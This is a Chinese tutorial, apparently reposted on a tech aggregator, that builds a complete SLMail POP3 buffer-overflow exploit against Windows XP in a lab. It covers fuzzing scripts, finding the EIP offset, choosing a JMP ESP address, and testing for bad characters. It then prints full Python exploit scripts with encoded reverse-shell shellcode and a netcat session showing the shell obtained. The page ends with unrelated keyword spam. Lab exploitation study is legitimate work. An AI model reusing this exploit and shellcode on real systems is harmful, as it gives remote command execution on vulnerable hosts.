千家信息网

windows缓冲区溢出

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,写的不好多加指教准备环境:攻机:Kali 2.0靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试软件:SLMail、immunity debugge
千家信息网最后更新 2024年09月22日windows缓冲区溢出


写的不好多加指教

准备环境:

攻机:Kali 2.0靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试软件:SLMail、immunity debugger 、mona.py需要软件的可以留言。

总体步骤:

1. 测试是否发生缓冲区溢出2. 找到缓冲区溢出的位置的临界点并验证3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后面实现跳转4. 在2找到的位置处写上3处找到的地址,也就是实现由 eip 到 jmp esp 的过程。这个过程设置断点验证是否跳转成功5. 判断有哪些坏字符,每个服务不一定相同6. 生成shellcode,并发送。7. 完成

Step 1. 利用python脚本测试连接windows的POP3

开启windows的POP3服务

使用python脚本测试来连接

​#!/usr/bin/python​import socket​s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)​try:​    print "\nSending veil buffer..."​    s.connect(('10.10.10.19',110))​    data=s.recv(1024)​    print data​    s.send('USER test\r\n')​    data=s.recv(1024)​    print data​    s.send('PASS test\r\n')​    data=s.recv(1024)​    print data​    s.close()​    print "\nDone!"​except:​    print "\nFailed to connect pop3"

运行结果:

root@kal:/test# ./01.py

​Sending veil buffer...​+OK POP3 server example.com ready <00005.5584281@example.com>​-ERR unable to lock mailboxDone!

说明连接POP3成功.....

Step2. 测试符合是否会发生缓冲区溢出

windows端要用immunity debugger打开slmail服务
打开immunity ==> File ==> Attach ==>选择下面的那一行

点右下角的Attach,然后开始运行,运行时候,右下角的pause会变成running状态

这时运行下面脚本:

#!/usr/bin/pythonimport socketbuffer = ["A"]counter = 100while len(buffer)<=50:        buffer.append("A"*counter)        counter = counter + 200for string in buffer:        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        s.connect(('10.10.10.19',110))        print "Sending length %s " %(len(string))        s.recv(1024)        s.send('USER test'+'\r\n')        s.recv(1024)        s.send('PASS '+string+'\r\n')        s.recv(1024)        s.send('QUIT\r\n')        s.close()

运行情况:

当执行到2700时。发现在也不动了,看一下windows状况,右下角已经出现了pase,已经停止了,在2600个字符发完之后还能发送,但是到了2700发送完之后就连接不上了,说明缓冲区溢出临界点发生在2600-2700之间。

Step3 确定EIP的位置

利用metasploit生成唯一字符串,发送:
root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah2Ah3Ah4Ah5Ah6Ah7Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh2Bh3Bh4Bh5Bh6Bh7Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch2Ch3Ch4Ch5Ch6Ch7Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh2Dh3Dh4Dh5Dh6Dh7Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8D

重启windows的服务,immunity需要重新打开然后attach,让服务运行起来
修改上面的python继续发送:

#!/usr/bin/pythonimport socketbuffer="改成上面生成的字符串"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)s.send('USER test\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')data=s.recv(1024)s.close()print "\nDone!"except:        print "\nFailed to connect pop3"

运行脚本,观察windows停止时EIP的位置

用metasploit模块求出偏移量:

root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438[*] Exact match at offset 2606

得知偏移量是2606,说明EIP的位置在第2607-2610处

Step 4 验证EIP位置与ESP存放数据长度

重启windows服务,编写下面脚本

#!/usr/bin/pythonimport socketbuffer = "A"*2606 + "B"*4 + "C"*900s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

服务再次暂停,这时发现EIP处的位置变成4个C,说明确定EIP的位置是正确的。

查看存放C的个数

可以看到下图,计算大概存放了400多个C,足够存放一个shellcode

理想状况就是,将EIP的内容修改成ESP的地址,ESP如果放置的是shellcode此时就会被执行,但是每次ESP的地址不同,不能直接修改。这时,我们需要利用系统中自带的 jmp esp 帮我们跳转到esp位置,去执行shellcode

Step5 查找jmp esp

首先将mona模块导入immunity中的Pycommands中
启动服务,将immunity打开attach上服务。
查看系统的所有模块

需要选择前4个是false的,最后一个是true的。就只有三四个,但是其中只有slmfc.dll模块中含有 jmp esp

其中 \xff\xe4 是汇编语言中的 jmp esp,可以通过kali工具翻译

root@kal:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp esp00000000  FFE4              jmp esp

输入十六进制需要加上 \x 。后面就以第一个作为jmp esp

双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F

Step 6 测试跳转

接着上面的地址设置断点

发送下面的脚本:

#!/usr/bin/pythonimport socketbuffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "C"*900  #倒着输入上面的地址。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

启动服务,发送脚本

右下角会显示执行到断点处,停止
这时按下F7单步执行

就可以看到,已经跳转到esp,里面装的43 也即是C
说明跳转成功了。

Step 7 判断坏字符

重启服务。
编写下面脚本''
#!/usr/bin/python

import sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)badchar=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")buffer="A"*2606+"B"*4+badchartry:        s.connect(('10.10.10.12',110))        data=s.recv(1024)        s.send('USER test'+'\r\n')        data=s.recv(1024)        s.send('PASS '+buffer+'\r\n')        s.close()        print "\nDone"        print "\nSending veil buffer..."except:        print "Fail connect target"

发送脚本,在windows端

通过上图可以看到0x0a的字符缺失,并且之后的字符也有丢失,那么我们改掉0x0a继续发送一遍

可以看到,我们踢掉0a之后,后面字符串就可以显示了,说明0a是个坏字符。\x0d也没有显示出来,以及\x00

这样就找到三个坏字符0x00 0x0D 0x0A

Step 8 构造shellcode

构造反弹shell

root@kal:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.11 LPORT=4444 R | ./msfencode -b "\x0d\x00\x0a"[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32"."\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a"."\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32"."\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae"."\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf"."\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06"."\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26"."\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc"."\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1"."\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40"."\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69"."\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79"."\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5"."\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40"."\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06"."\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc"."\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87"."\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec"."\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75"."\x61\x9f\xd9\xd5\xe2\x60";

编写脚本:

#!/usr/bin/pythonimport socketshellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75\x61\x9f\xd9\xd5\xe2\x60"buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*9 +shellcodes=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:        print "\nSending veil buffer..."        s.connect(('10.10.10.19',110))        data=s.recv(1024)        s.send('USER test\r\n')        s.send('PASS '+ buffer + '\r\n')        data=s.recv(1024)        s.close()        print "\nDone!"except:        print "\nFailed to connect pop3"

上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。

打开windows服务,用kali监听4444端口,然后发送脚本,得到一个反弹shell。

root@kal:/test# nc -lvp 4444listening on [any] 4444 ...^[[A^[[B10.10.10.19: inverse host lookup failed: Unknown hostconnect to [10.10.10.11] from (UNKNOWN) [10.10.10.19] 1158Microsoft Windows XP [�汾 5.1.2600](C) ��Ȩ���� 1985-2001 Microsoft Corp.C:\Program Files\SLmail\System>   #拿到shell
服务 脚本 字符 位置 运行 地址 面的 模块 测试 缓冲区 缓冲 成功 字符串 断点 系统 生成 验证 临界点 只有 状况 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 软件开发转猎头 东城品牌服务器回收价钱 软件开发怎么转管理岗 网络安全毕业可以干什么工作 青浦区应用软件开发创新服务 x86服务器已售 计算网络技术跟计算机科学 csgo死斗服务器关闭 数据库关系分解 怎么进去服务器超级管理页面 金融科技 互联网保险 能表示网络安全的图片 额那个嗯网络安全手抄报 请问服务器是不是手机自带的 宁阳app软件开发公司 保定德厚网络技术开发 衡水交友软件开发 修改出库单数据库 数据库怎么导出图片 杭州榴娃互联网科技有限公司 社交软件开发选择 青岗科技 关于观看网络安全的观后感 防范邮件服务器服务破坏的措施 数据库直接导入数据安全吗 丰台区网络技术服务 河南前端软件开发大概多少钱 4g网络技术支持下的应用有哪些 网络安全属性机密性 逆水寒一个服务器上限多少人 服务器启动但是显示器没有显示
0